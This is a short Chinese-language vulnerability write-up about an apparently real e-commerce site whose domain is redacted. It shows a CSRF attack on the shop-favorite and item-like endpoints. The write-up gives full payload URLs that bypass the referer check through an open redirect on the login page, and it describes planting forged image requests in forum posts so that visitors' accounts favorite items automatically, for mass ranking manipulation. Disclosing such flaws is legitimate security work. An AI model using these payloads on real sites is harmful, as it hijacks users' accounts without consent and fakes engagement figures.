1. 收藏店铺

1.随便点个店铺点收藏

2.抓包



3.绕过发现这个包是要检测referer的,但是可以用登陆业务来绕过

4.先url编码https%3a%2f%2xxxx%2fjsonp%2fcollectShop%2f1%3fcallback%3djQuery2110455627700315805\_1573264921361%26shopId%3d1172u3gc%26\_%3d1573264921363

5.添加到<https://xxxx.com/user/newlogin?redirect_url=>后面形成payload :

[https://xxxx/user/newlogin?redirect\_url=https%3a%2f%2xxxxx%2fjsonp%2fcollectShop%2f1%3fcallback%3djQuery2110455627700315805\_1573264921361%26shopId%3d1172u3gc%26\_%3d1573264921363](https://xxxx/user/newlogin?redirect_url=https%3a%2f%252xxxxx%2fjsonp%2fcollectShop%2f1%3fcallback%3djQuery2110455627700315805_1573264921361%26shopId%3d1172u3gc%26_%3d1573264921363)

这样referer就为信任域了.如果用户登陆过了,点这个页面直接就收藏了

7.还可以用论坛: <http://bbs.xxxx.com/>

来扩大攻击面和绕过referer,发现商家论坛是用的dz,dz的图片src是可以任意修改的所以直接评论添加个图片,src就是添加收藏的请求.



**回复后成功插入,只要有人访问这个帖子就成功添加到收藏了.如果插入大量的这种图片可以直接刷收藏了.** ****

1. **收藏商品**



**同理收藏商品和收藏商家是类似的.下面是收藏的包**

**https://xxxxx/jsonp/itemLike/1?callback=jQuery21105360256103123561\_1573266126072&pf=mgjpc&mids=1mngylg&markType=2&ptpCnt=31.THPjzb.0.0.4NPgTUgB&acm=&\_=1573266126077**

**同样可以添加到**登陆url后和论坛中,造成csrf.